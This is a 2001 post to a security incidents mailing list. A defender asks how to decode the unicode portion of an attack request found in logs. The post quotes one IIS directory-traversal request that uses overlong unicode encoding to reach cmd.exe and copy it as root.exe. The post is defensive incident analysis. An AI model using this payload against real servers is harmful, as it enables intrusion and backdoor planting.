Security Incidents mailing list archives

Unicode Decode


From: "jason" <jpotopa () qwest net>
Date: Mon, 25 Jun 2001 10:38:19 -0700

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Does anyone know of any sites/tools/tables to decode unicode
information?  Specificly I am looking to decode the unicode portion
of this attack:

GET
/msadc/..%e0%80%af../..%e0%80%af../..%e0%80%af../winnt/sytem32/cmd.exe
?/c+copy+\winnt\system32\cmd.exe +root.exe HTTP/1.0

Obviously he is trying to copy cmd.exe to /msadc/root.exe, but I do
not know how to interpret the unicode stuff.  Thanks in advance

-----BEGIN PGP SIGNATURE-----
Version: PGPfreeware 6.5.3 for non-commercial use <http://www.pgp.com>

iQA/AwUBOzd3ClL3u0OElmjPEQLyWgCfTM0mvmVcZpgQjOZwHSaddHGxgUAAoIrU
v3cHdcY94clFmG92/O4ojvpd
=gtF9
-----END PGP SIGNATURE-----



Current thread: